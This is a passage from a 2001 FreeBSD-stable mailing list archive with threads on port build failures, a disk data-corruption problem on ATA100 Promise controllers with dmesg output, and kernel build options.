doesn't cause a > lot of perturberation in release/Makefile. The real fix is to fold > crypto and kerberbos back into the bindist, I think. :) I think we should continue to keep them separate; we still aim for a system which is installable without crypto for people in other countries who can't use it, and kerberos is something which has only limited appeal (but carries a non-zero security risk, see the history of advisories against it) Kris --Qxx1br4bt0+wmkIi Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.4 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE6rpeiWry0BWjoQKURAgNbAJ9VIoUG7xW2hJuij7KkxuHjwCCIdACg9WM1 Pzk0OLVDS0AdMf0+6Ns2PSw= =oli5 -----END PGP SIGNATURE----- --Qxx1br4bt0+wmkIi-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 14:29: 6 2001 Delivered-To: freebsd-stable@freebsd.org Received: from resnet.uoregon.edu (resnet.uoregon.edu [128.223.122.47]) by hub.freebsd.org (Postfix) with ESMTP id 89AC137B718; Tue, 13 Mar 2001 14:29:02 -0800 (PST) (envelope-from dwhite@resnet.uoregon.edu) Received: from localhost (dwhite@localhost) by resnet.uoregon.edu (8.10.1/8.10.1) with ESMTP id f2DMSwu67248; Tue, 13 Mar 2001 14:28:58 -0800 (PST) Date: Tue, 13 Mar 2001 14:28:58 -0800 (PST) From: Doug White To: chip@chocobo.cx Cc: freebsd-questions@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG Subject: Re: Port problems In-Reply-To: <20010313123604.A3868@setzer.chocobo.cx> Message-ID: X-All-Your-Base: are belong to us MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 13 Mar 2001, Chip Marshall wrote: > Recently I've been having some annoying problems regarding ports on > one of my FreeBSD boxes. The machine in question is a P3 550Mhz, > running FreeBSD 4.3-BETA (Mar 8 18:04:01) > > The problem is that many of the ports don't compile. Some of them, > like cabextract, galeon, and jpilot, report: > make: don't know how to make real-build. Stop > while others, like AbiWord and mozilla, report something like: > /usr/ports/editors/AbiWord/Makefile:38: *** missing separator. Stop. That sounds like a bmake vs. gmake issue... you should pester the listed port MAINTAINER in the Makefile and failing that pester ports@freebsd.org. Doug White | FreeBSD: The Power to Serve dwhite@resnet.uoregon.edu | www.FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 14:37:44 2001 Delivered-To: freebsd-stable@freebsd.org Received: from subnet.sub.net (subnet.sub.net [212.227.14.21]) by hub.freebsd.org (Postfix) with ESMTP id C11DC37B71B; Tue, 13 Mar 2001 14:37:35 -0800 (PST) (envelope-from wolfgang@lyxys.ka.sub.org) Received: from lyxys.ka.sub.org (uucp@localhost) by subnet.sub.net (8.8.8/8.8.8/1.2subnet-linux) with bsmtp id XAA11105; Tue, 13 Mar 2001 23:37:32 +0100 Received: from localhost (970 bytes) by lyxys.ka.sub.org via sendmail with P:stdio/R:smart_host/T:inet_uusmtp (sender: ) (ident using unix) id for ; Tue, 13 Mar 2001 23:21:48 +0100 (CET) (Smail-3.2.0.111 2000-Feb-17 #1 built 2000-Aug-23) Message-Id: From: wolfgang@lyxys.ka.sub.org (Wolfgang Zenker) Subject: Re: Port problems In-Reply-To: <20010313123604.A3868@setzer.chocobo.cx> "from Chip Marshall at Mar 13, 2001 12:36:05 pm" To: chip@chocobo.cx Date: Tue, 13 Mar 2001 23:21:48 +0100 (CET) Cc: freebsd-questions@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL88 (25)] MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello, > Recently I've been having some annoying problems regarding ports on > one of my FreeBSD boxes. The machine in question is a P3 550Mhz, > running FreeBSD 4.3-BETA (Mar 8 18:04:01) > The problem is [.. make behaving strange ..] > Any ideas? did you perhaps install another version of make (like e.g. gmake)? Use "which make" (if your shell is csh) or "type make" (if using sh, ksh or bash) to see which make binary you are using. Wolfgang To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 15:11:12 2001 Delivered-To: freebsd-stable@freebsd.org Received: from hindenburg.eboai.org (hindenburg.eboai.org [206.183.134.245]) by hub.freebsd.org (Postfix) with ESMTP id 7B70337B719; Tue, 13 Mar 2001 15:11:06 -0800 (PST) (envelope-from chip@chocobo.cx) Received: by hindenburg.eboai.org (Postfix, from userid 1000) id D85AC5E2D8; Tue, 13 Mar 2001 18:11:04 -0500 (EST) Date: Tue, 13 Mar 2001 18:11:04 -0500 From: Chip Marshall To: Wolfgang Zenker Cc: freebsd-questions@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG Subject: Re: Port problems Message-ID: <20010313181104.A22468@setzer.chocobo.cx> Reply-To: chip@chocobo.cx Mail-Followup-To: Chip Marshall , Wolfgang Zenker , freebsd-questions@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG References: <20010313123604.A3868@setzer.chocobo.cx> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.9i In-Reply-To: ; from wolfgang@lyxys.ka.sub.org on Tue, Mar 13, 2001 at 11:21:48PM +0100 X-URL: http://www.chocobo.cx/chip/ X-OS: FreeBSD 4.2-RELEASE i386 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On March 13, 2001, Wolfgang Zenker sent me the following: > > The machine in question is a P3 550Mhz, running FreeBSD 4.3-BETA > > (Mar 8 18:04:01) > > The problem is [.. make behaving strange ..] > > did you perhaps install another version of make (like e.g. gmake)? > Use "which make" (if your shell is csh) or "type make" (if using > sh, ksh or bash) to see which make binary you are using. bash-2.04# type make make is hashed (/usr/bin/make) bash-2.04# ls -al /usr/bin/make -r-xr-xr-x 1 root wheel 100348 Mar 8 14:00 /usr/bin/make That's the normal one, I think... -- Chip Marshall http://www.chocobo.cx/chip/ Finger for PGP GCM/CS d+(-) s+:++ a19>? C++ UB++++$ P+++$ L- E--- W++ N+@ o K- w O M+ V-- PS PE Y? PGP++ t+@ 5 X R>+ tv+() b++>+++ DI++++ D(-) G++ e>++ h!>++ r-- y- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 15:22: 5 2001 Delivered-To: freebsd-stable@freebsd.org Received: from seward.nbrewer.com (nbrewer.dsl.visi.com [208.42.141.101]) by hub.freebsd.org (Postfix) with ESMTP id 9165D37B71A; Tue, 13 Mar 2001 15:21:58 -0800 (PST) (envelope-from chris@seward.nbrewer.com) Received: (from chris@localhost) by seward.nbrewer.com (8.11.3/8.11.3) id f2DNLvp00782; Tue, 13 Mar 2001 17:21:57 -0600 (CST) (envelope-from chris) Date: Tue, 13 Mar 2001 17:21:57 -0600 From: Christopher Farley To: stable@freebsd.org Cc: sos@freebsd.org Subject: ATA100 problem? Message-ID: <20010313172155.A754@northernbrewer.com> Mail-Followup-To: Christopher Farley , stable@freebsd.org, sos@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Organization: Northern Brewer, St. Paul, MN Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I'm using IBM-DTLA drives on a Promise ATA100 Controller (onboard an Asus A7V). My dmesg is attached below. I am having problems accurately writing data to the disk, particularly with large files (500+ mb). Attempts to gzip/gunzip files over 500 mb often result in 'invalid compressed data--crc error'. bzip/bzip2 also fails with similar errors. The larger the file, the more likely it is to fail. I am able to repeatedly reproduce this problem simply by copying sufficiently large files (4 gb seems to work every time). The md5 hashes of the source file and copy do not match. I have tried this on two different filesystems (two different disks in fact - both IBM-DTLA drives). I get the same result. I use this system extensively, and haven't noticed any other problems; just on large files! I'm not sure if this is a hardware problem, a driver problem, or something else, but I was advised to post a message to stable. ----------dmesg attached below---------- Copyright (c) 1992-2001 The FreeBSD Project. Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 The Regents of the University of California. All rights reserved. FreeBSD 4.3-BETA #1: Tue Mar 13 10:49:31 CST 2001 chris@seward.nbrewer.com:/usr/obj/usr/src/sys/GENERIC Timecounter "i8254" frequency 1193182 Hz CPU: AMD Athlon(tm) Processor (908.09-MHz 686-class CPU) Origin = "AuthenticAMD" Id = 0x642 Stepping = 2 Features=0x183f9ff AMD Features=0xc0440000<,AMIE,DSP,3DNow!> real memory = 268353536 (262064K bytes) config> di sn0 config> di lnc0 config> di ie0 config> di fe0 config> di ed0 config> di cs0 config> di bt0 config> di aic0 config> di aha0 config> di adv0 config> q avail memory = 256901120 (250880K bytes) Preloaded elf kernel "kernel" at 0xc044c000. Preloaded userconfig_script "/boot/kernel.conf" at 0xc044c09c. Pentium Pro MTRR support enabled md0: Malloc disk npx0: on motherboard npx0: INT 16 interface pcib0: on motherboard pci0: on pcib0 pcib2: at device 1.0 on pci0 pci1: on pcib2 pci1: at 0.0 irq 11 isab0: at device 4.0 on pci0 isa0: on isab0 atapci0: port 0xd800-0xd80f at device 4.1 on pci0 ata1: at 0x170 irq 15 on atapci0 uhci0: port 0xd400-0xd41f irq 5 at device 4.2 on pci0 usb0: on uhci0 usb0: USB revision 1.0 uhub0: VIA UHCI root hub, class 9/0, rev 1.00/1.00, addr 1 uhub0: 2 ports with 2 removable, self powered ums0: Logitech USB Mouse, rev 1.10/6.10, addr 2, iclass 3/1 ums0: 3 buttons and Z dir. uhci1: port 0xd000-0xd01f irq 5 at device 4.3 on pci0 usb1: on uhci1 usb1: USB revision 1.0 uhub1: VIA UHCI root hub, class 9/0, rev 1.00/1.00, addr 1 uhub1: 2 ports with 2 removable, self powered uhub2: ALCOR Generic USB Hub, class 9/0, rev 1.10/1.00, addr 2 uhub2: 4 ports with 4 removable, self powered xl0: <3Com 3c905C-TX Fast Etherlink XL> port 0xa400-0xa47f mem 0xd5800000-0xd580007f irq 5 at device 9.0 on pci0 xl0: Ethernet address: 00:01:02:28:53:60 miibus0: on xl0 xlphy0: <3c905C 10/100 internal PHY> on miibus0 xlphy0: 10baseT, 10baseT-FDX, 100baseTX, 100baseTX-FDX, auto atapci1: port 0x8800-0x883f,0x9000-0x9003,0x9400-0x9407,0x9800-0x9803,0xa000-0xa007 mem 0xd5000000-0xd501ffff irq 10 at device 17.0 on pci0 ata2: at 0xa000 on atapci1 ata3: at 0x9400 on atapci1 pcib1: on motherboard pci2: on pcib1 fdc0: at port 0x3f0-0x3f5,0x3f7 irq 6 drq 2 on isa0 fdc0: FIFO enabled, 8 bytes threshold fd0: <1440-KB 3.5" drive> on fdc0 drive 0 atkbdc0: at port 0x60,0x64 on isa0 atkbd0: flags 0x1 irq 1 on atkbdc0 kbd0 at atkbd0 vga0: at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0 sc0: at flags 0x100 on isa0 sc0: VGA <16 virtual consoles, flags=0x300> sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0 sio0: type 16550A sio1 at port 0x2f8-0x2ff irq 3 on isa0 sio1: type 16550A ppc0: at port 0x378-0x37f irq 7 on isa0 ppc0: SMC-like chipset (ECP/EPP/PS2/NIBBLE) in COMPATIBLE mode ppc0: FIFO with 16/16/8 bytes threshold plip0: on ppbus0 lpt0: on ppbus0 lpt0: Interrupt-driven port ppi0: on ppbus0 ad4: 43979MB [89355/16/63] at ata2-master UDMA100 ad6: 29314MB [59560/16/63] at ata3-master UDMA100 acd0: CD-RW at ata1-master using PIO4 acd1: CDROM at ata1-slave using PIO4 Mounting root from ufs:/dev/ad4s1a -- Christopher Farley www.northernbrewer.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 15:44:46 2001 Delivered-To: freebsd-stable@freebsd.org Received: from camelot.bitart.com (BITart-45.BITart.com [206.103.221.45]) by hub.freebsd.org (Postfix) with SMTP id 6024037B719 for ; Tue, 13 Mar 2001 15:44:39 -0800 (PST) (envelope-from gerti@bitart.com) Received: (qmail 9292 invoked by uid 101); 13 Mar 2001 23:44:38 -0000 Message-ID: <20010313234437.9291.qmail@camelot.bitart.com> Content-Type: text/plain MIME-Version: 1.0 (NeXT Mail 4.2mach v148) In-Reply-To: <20010313172155.A754@northernbrewer.com> X-Nextstep-Mailer: Mail 4.2mach (Enhance 2.2p1) Received: by NeXT.Mailer (1.148) From: Gerd Knops Date: Tue, 13 Mar 2001 17:44:37 -0600 To: Christopher Farley Subject: Re: ATA100 problem? Cc: stable@freebsd.org, sos@freebsd.org Reply-To: gerti-freebsds@BITart.com References: <20010313172155.A754@northernbrewer.com> Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Christopher Farley wrote: > I'm using IBM-DTLA drives on a Promise ATA100 Controller (onboard an > Asus A7V). My dmesg is attached below. > > I am having problems accurately writing data to the disk, > particularly with large files (500+ mb). Attempts to gzip/gunzip > files over 500 mb often result in 'invalid compressed data--crc > error'. bzip/bzip2 also fails with similar errors. The larger the > file, the more likely it is to fail. > > I am able to repeatedly reproduce this problem simply by copying > sufficiently large files (4 gb seems to work every time). The md5 > hashes of the source file and copy do not match. I have tried this on > two different filesystems (two different disks in fact - both > IBM-DTLA drives). I get the same result. > > I use this system extensively, and haven't noticed any other > problems; just on large files! > Same here, so it is not an individual hardware problem: /usr# ls -l test -r-xr-xr-x 1 root wheel 512043600 Mar 13 17:34 test /usr# cp test /photos/test /usr# md5 test MD5 (test) = 2d1558814871f06bb3af4a28ac91d8f8 /usr# md5 /photos/test MD5 (/photos/test) = 48c00e946e91ac7557b9796bbb078bc2 My hardware setup is nearly identical (A7V,IBM-DTLA), dmesg below. Gerd Copyright (c) 1992-2001 The FreeBSD Project. Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 The Regents of the University of California. All rights reserved. FreeBSD 4.3-BETA #4: Sun Mar 11 04:19:03 CST 2001 gerti@huels.bitart.com:/usr/obj/usr/src/sys/HUELS Timecounter "i8254" frequency 1193182 Hz CPU: AMD Athlon(tm) Processor (908.09-MHz 686-class CPU) Origin = "AuthenticAMD" Id = 0x642 Stepping = 2 Features=0x183f9ff AMD Features=0xc0440000<,AMIE,DSP,3DNow!> real memory = 268353536 (262064K bytes) avail memory = 257683456 (251644K bytes) Preloaded elf kernel "kernel" at 0xc038f000. Preloaded elf module "umodem.ko" at 0xc038f09c. Pentium Pro MTRR support enabled md0: Malloc disk npx0: on motherboard npx0: INT 16 interface pcib0: on motherboard pci0: on pcib0 pcib2: at device 1.0 on pci0 pci1: on pcib2 pci1: at 0.0 irq 11 isab0: at device 4.0 on pci0 isa0: on isab0 atapci0: port 0xd800-0xd80f at device 4.1 on pci0 ata0: at 0x1f0 irq 14 on atapci0 ata1: at 0x170 irq 15 on atapci0 uhci0: port 0xd400-0xd41f irq 9 at device 4.2 on pci0 usb0: on uhci0 usb0: USB revision 1.0 uhub0: VIA UHCI root hub, class 9/0, rev 1.00/1.00, addr 1 uhub0: 2 ports with 2 removable, self powered uhub1: Kawatsu Semiconductor, Inc. MiniHub 4000P, class 9/0, rev 1.10/1.00, addr 2 uhub1: 4 ports with 4 removable, self powered uhub2: Texas Instruments TUSB2046 hub, class 9/0, rev 1.10/1.25, addr 3 uhub2: 4 ports with 4 removable, bus powered uhci1: port 0xd000-0xd01f irq 9 at device 4.3 on pci0 usb1: on uhci1 usb1: USB revision 1.0 uhub3: VIA UHCI root hub, class 9/0, rev 1.00/1.00, addr 1 uhub3: 2 ports with 2 removable, self powered uhub4: ALCOR Generic USB Hub, class 9/0, rev 1.10/1.00, addr 2 uhub4: 4 ports with 4 removable, self powered bktr0: mem 0xe1000000-0xe1000fff irq 9 at device 9.0 on pci0 iicbb0: on bti2c0 iicbus0: on iicbb0 master-only smbus0: on bti2c0 bktr0: Hauppauge Model 61381 D423 bktr0: Detected a MSP3430G-A4 at 0x80 bktr0: Hauppauge WinCast/TV, Philips FR1236 NTSC FM tuner, msp3400c stereo, remote control. pci0: (vendor=0x109e, dev=0x0878) at 9.1 irq 9 pcm0: port 0xa400-0xa41f irq 5 at device 10.0 on pci0 fxp0: port 0x9800-0x983f mem 0xde000000-0xde0fffff,0xde800000-0xde800fff irq 9 at device 13.0 on pci0 fxp0: Ethernet address atapci1: port 0x8000-0x803f,0x8400-0x8403,0x8800-0x8807,0x9000-0x9003,0x9400-0x9407 mem 0xdd800000-0xdd81ffff irq 10 at device 17.0 on pci0 ata2: at 0x9400 on atapci1 ata3: at 0x8800 on atapci1 pcib1: on motherboard pci2: on pcib1 fdc0: at port 0x3f0-0x3f5,0x3f7 irq 6 drq 2 on isa0 fdc0: FIFO enabled, 8 bytes threshold fd0: <1440-KB 3.5" drive> on fdc0 drive 0 atkbdc0: at port 0x60,0x64 on isa0 atkbd0: irq 1 on atkbdc0 kbd0 at atkbd0 psm0: failed to get data. psm0: irq 12 on atkbdc0 psm0: model IntelliMouse, device ID 3 vga0: at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0 sc0: at flags 0x100 on isa0 sc0: VGA <16 virtual consoles, flags=0x300> sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0 sio0: type 16550A sio1 at port 0x2f8-0x2ff irq 3 on isa0 sio1: type 16550A ppc0: at port 0x378-0x37f irq 7 on isa0 ppc0: SMC-like chipset (ECP/EPP/PS2/NIBBLE) in COMPATIBLE mode ppc0: FIFO with 16/16/8 bytes threshold ppbus0: IEEE1284 device found /NIBBLE/PS2/ECP Probing for PnP devices on ppbus0: ppbus0: PCL,MLC,PML plip0: on ppbus0 lpt0: on ppbus0 lpt0: Interrupt-driven port ppi0: on ppbus0 ata1-slave: ata_command: timeout waiting for intr ata1-slave: identify failed ata1-master: ata_command: timeout waiting for intr ata1-master: identify failed ad4: 29314MB [59560/16/63] at ata2-master UDMA100 ad6: 29314MB [59560/16/63] at ata3-master UDMA100 acd0: CD-RW at ata0-master using PIO4 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 15:55: 9 2001 Delivered-To: freebsd-stable@freebsd.org Received: from ns1.venon.com (ns1.venon.com [64.7.7.83]) by hub.freebsd.org (Postfix) with ESMTP id 9E96E37B718 for ; Tue, 13 Mar 2001 15:55:06 -0800 (PST) (envelope-from all@biosys.net) Received: from megalomaniac.biosys.net (megalomaniac.venon.com [64.7.7.82]) by ns1.venon.com (Postfix) with ESMTP id 2F280D1613; Tue, 13 Mar 2001 18:53:24 -0500 (EST) Message-Id: <4.3.2.7.2.20010313185317.00c78d90@64.7.7.83> X-Sender: (Unverified) X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Tue, 13 Mar 2001 18:55:07 -0500 To: gerti-freebsds@bitart.com, Christopher Farley From: Allen Landsidel Subject: Re: ATA100 problem? Cc: stable@FreeBSD.ORG In-Reply-To: <20010313234437.9291.qmail@camelot.bitart.com> References: <20010313172155.A754@northernbrewer.com> <20010313172155.A754@northernbrewer.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 17:44 3/13/2001 -0600, Gerd Knops wrote: >Christopher Farley wrote: > > I'm using IBM-DTLA drives on a Promise ATA100 Controller (onboard an > > Asus A7V). My dmesg is attached below. People from all walks of life, with multiple different OSes are having the same problem. I suspect a defect in the onboard promise controller or in the DLTA firmware. If Linux, FreeBSD and Win2k are all having the same problems, none of them is likely the culprit here. -------signature file------- PGP Key Fingerprint: 446B 7718 B219 9F1E 43DD 8E4A 6BE9 D739 CCC5 7FD7 "I don't think [Linux] will be very successful in the long run." "My experience and some of my friends' experience is that Linux is quite unreliable. Microsoft is really unreliable but Linux is worse." -Ken Thompson, Interview May 1999. http://www.freebsd.org FreeBSD - The Power to Serve http://www.rfnj.org Radio Free New Jersey - 375 streams - 96kbps @ 44.1khz http://namespace.org -- http://name.space Resist the ICANN! Support name.space! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 16: 6:41 2001 Delivered-To: freebsd-stable@freebsd.org Received: from trinity.magpage.com (trinity.magpage.com [216.155.0.8]) by hub.freebsd.org (Postfix) with ESMTP id 8939937B719 for ; Tue, 13 Mar 2001 16:06:38 -0800 (PST) (envelope-from dfrazier@magpage.com) Received: from magpage.com (dfrazier@poomba.magpage.com [216.155.24.136]) by trinity.magpage.com (8.11.1/8.11.1) with ESMTP id f2DGCnH04141; Tue, 13 Mar 2001 11:12:49 -0500 Message-ID: <3AAE4701.7CF6C537@magpage.com> Date: Tue, 13 Mar 2001 11:12:49 -0500 From: Daniel Frazier Organization: Magpage Internet Services X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: en MIME-Version: 1.0 To: j mckitrick Cc: freebsd-stable@FreeBSD.ORG Subject: Re: New KERNCONF option References: <20010313160817.A149@dogma.freebsd-uk.eu.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG j mckitrick wrote: > > I took a look at the notes on this change, but I'm still a bit unclear. > What do I need to do differently, if anything? > > make buildworld > make buildkernel KERNEL=JUPITER > make installkernel KERNEL=JUPITER > ... > > make buildworld > make buildkernel KERNCONF=JUPITER > make installkernel KERNCONF=JUPITER > ... yes, that is correct. (it's also reflected in UPDATING...) -- ---------------------------------------------------------------------- Daniel Frazier Tel: 302-239-5900 Ext. 231 Systems Administrator Fax: 302-239-3909 MAGPAGE, We Power the Internet WWW: http://www.magpage.com/ "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." - Benjamin Franklin, Historical Review of Pennsylvania, 1759. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 16:25:17 2001 Delivered-To: freebsd-stable@freebsd.org Received: from turtle.looksharp.net (cc360882-a.strhg1.mi.home.com [24.2.221.22]) by hub.freebsd.org (Postfix) with ESMTP id 5480437B719 for ; Tue, 13 Mar 2001 16:25:10 -0800 (PST) (envelope-from bsdx@looksharp.net) Received: from localhost (bsdx@localhost) by turtle.looksharp.net (8.11.1/8.11.1) with ESMTP id f2E0T9A15528 for ; Tue, 13 Mar 2001 19:29:09 -0500 (EST) (envelope-from bsdx@looksharp.net) Date: Tue, 13 Mar 2001 19:29:09 -0500 (EST) From: Adam To: Subject: Re: ATA100 problem? In-Reply-To: <20010313234437.9291.qmail@camelot.bitart.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 13 Mar 2001, Gerd Knops wrote: >Christopher Farley wrote: >> I'm using IBM-DTLA drives on a Promise ATA100 Controller (onboard an >> Asus A7V). My dmesg is attached below. >> >> I am having problems accurately writing data to the disk, >> particularly with large files (500+ mb). Attempts to gzip/gunzip >> files over 500 mb often result in 'invalid compressed data--crc >> error'. bzip/bzip2 also fails with similar errors. The larger the >> file, the more likely it is to fail. >> >> I am able to repeatedly reproduce this problem simply by copying >> sufficiently large files (4 gb seems to work every time). The md5 >> hashes of the source file and copy do not match. I have tried this on >> two different filesystems (two different disks in fact - both >> IBM-DTLA drives). I get the same result. >> >> I use this system extensively, and haven't noticed any other >> problems; just on large files! >> >Same here, so it is not an individual hardware problem: > >/usr# ls -l test >-r-xr-xr-x 1 root wheel 512043600 Mar 13 17:34 test >/usr# cp test /photos/test >/usr# md5 test >MD5 (test) = 2d1558814871f06bb3af4a28ac91d8f8 >/usr# md5 /photos/test >MD5 (/photos/test) = 48c00e946e91ac7557b9796bbb078bc2 I dont have any suggestions about getting it to work at ata100 speeds, but you may want to try a 40 pin ide cable to knock it down to ata33 speed and see if the corruption goes away. I had to do this for a wdc 30g on a hpt366, and I didnt notice any speed decrease since the drive cannot handle 33MB/sec on its own anyway. Also, you might want to pipe the two files through hd (hexdump) and compare them with diff to see where the corruption occurred and what kind of corruption it was. It might prove interesting. > >My hardware setup is nearly identical (A7V,IBM-DTLA), dmesg below. > >Gerd > >Copyright (c) 1992-2001 The FreeBSD Project. >Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 > The Regents of the University of California. All rights reserved. >FreeBSD 4.3-BETA #4: Sun Mar 11 04:19:03 CST 2001 > gerti@huels.bitart.com:/usr/obj/usr/src/sys/HUELS >Timecounter "i8254" frequency 1193182 Hz >CPU: AMD Athlon(tm) Processor (908.09-MHz 686-class CPU) > Origin = "AuthenticAMD" Id = 0x642 Stepping = 2 > Features=0x183f9ff > AMD Features=0xc0440000<,AMIE,DSP,3DNow!> >real memory = 268353536 (262064K bytes) >avail memory = 257683456 (251644K bytes) >Preloaded elf kernel "kernel" at 0xc038f000. >Preloaded elf module "umodem.ko" at 0xc038f09c. >Pentium Pro MTRR support enabled >md0: Malloc disk >npx0: on motherboard >npx0: INT 16 interface >pcib0: on motherboard >pci0: on pcib0 >pcib2: at device 1.0 on pci0 >pci1: on pcib2 >pci1: at 0.0 irq 11 >isab0: at device 4.0 on pci0 >isa0: on isab0 >atapci0: port 0xd800-0xd80f at device 4.1 on pci0 >ata0: at 0x1f0 irq 14 on atapci0 >ata1: at 0x170 irq 15 on atapci0 >uhci0: port 0xd400-0xd41f irq 9 at device 4.2 on pci0 >usb0: on uhci0 >usb0: USB revision 1.0 >uhub0: VIA UHCI root hub, class 9/0, rev 1.00/1.00, addr 1 >uhub0: 2 ports with 2 removable, self powered >uhub1: Kawatsu Semiconductor, Inc. MiniHub 4000P, class 9/0, rev 1.10/1.00, addr 2 >uhub1: 4 ports with 4 removable, self powered >uhub2: Texas Instruments TUSB2046 hub, class 9/0, rev 1.10/1.25, addr 3 >uhub2: 4 ports with 4 removable, bus powered >uhci1: port 0xd000-0xd01f irq 9 at device 4.3 on pci0 >usb1: on uhci1 >usb1: USB revision 1.0 >uhub3: VIA UHCI root hub, class 9/0, rev 1.00/1.00, addr 1 >uhub3: 2 ports with 2 removable, self powered >uhub4: ALCOR Generic USB Hub, class 9/0, rev 1.10/1.00, addr 2 >uhub4: 4 ports with 4 removable, self powered >bktr0: mem 0xe1000000-0xe1000fff irq 9 at device 9.0 on pci0 >iicbb0: on bti2c0 >iicbus0: on iicbb0 master-only >smbus0: on bti2c0 >bktr0: Hauppauge Model 61381 D423 >bktr0: Detected a MSP3430G-A4 at 0x80 >bktr0: Hauppauge WinCast/TV, Philips FR1236 NTSC FM tuner, msp3400c stereo, remote control. >pci0: (vendor=0x109e, dev=0x0878) at 9.1 irq 9 >pcm0: port 0xa400-0xa41f irq 5 at device 10.0 on pci0 >fxp0: port 0x9800-0x983f mem 0xde000000-0xde0fffff,0xde800000-0xde800fff irq 9 at device 13.0 on pci0 >fxp0: Ethernet address >atapci1: port 0x8000-0x803f,0x8400-0x8403,0x8800-0x8807,0x9000-0x9003,0x9400-0x9407 mem 0xdd800000-0xdd81ffff irq 10 at device 17.0 on pci0 >ata2: at 0x9400 on atapci1 >ata3: at 0x8800 on atapci1 >pcib1: on motherboard >pci2: on pcib1 >fdc0: at port 0x3f0-0x3f5,0x3f7 irq 6 drq 2 on isa0 >fdc0: FIFO enabled, 8 bytes threshold >fd0: <1440-KB 3.5" drive> on fdc0 drive 0 >atkbdc0: at port 0x60,0x64 on isa0 >atkbd0: irq 1 on atkbdc0 >kbd0 at atkbd0 >psm0: failed to get data. >psm0: irq 12 on atkbdc0 >psm0: model IntelliMouse, device ID 3 >vga0: at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0 >sc0: at flags 0x100 on isa0 >sc0: VGA <16 virtual consoles, flags=0x300> >sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0 >sio0: type 16550A >sio1 at port 0x2f8-0x2ff irq 3 on isa0 >sio1: type 16550A >ppc0: at port 0x378-0x37f irq 7 on isa0 >ppc0: SMC-like chipset (ECP/EPP/PS2/NIBBLE) in COMPATIBLE mode >ppc0: FIFO with 16/16/8 bytes threshold >ppbus0: IEEE1284 device found /NIBBLE/PS2/ECP >Probing for PnP devices on ppbus0: >ppbus0: PCL,MLC,PML >plip0: on ppbus0 >lpt0: on ppbus0 >lpt0: Interrupt-driven port >ppi0: on ppbus0 >ata1-slave: ata_command: timeout waiting for intr >ata1-slave: identify failed >ata1-master: ata_command: timeout waiting for intr >ata1-master: identify failed >ad4: 29314MB [59560/16/63] at ata2-master UDMA100 >ad6: 29314MB [59560/16/63] at ata3-master UDMA100 >acd0: CD-RW at ata0-master using PIO4 > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-stable" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 17:37:57 2001 Delivered-To: freebsd-stable@freebsd.org Received: from floater.nas.nasa.gov (floater.nas.nasa.gov [129.99.32.24]) by hub.freebsd.org (Postfix) with ESMTP id BC0E237B71A for ; Tue, 13 Mar 2001 17:37:54 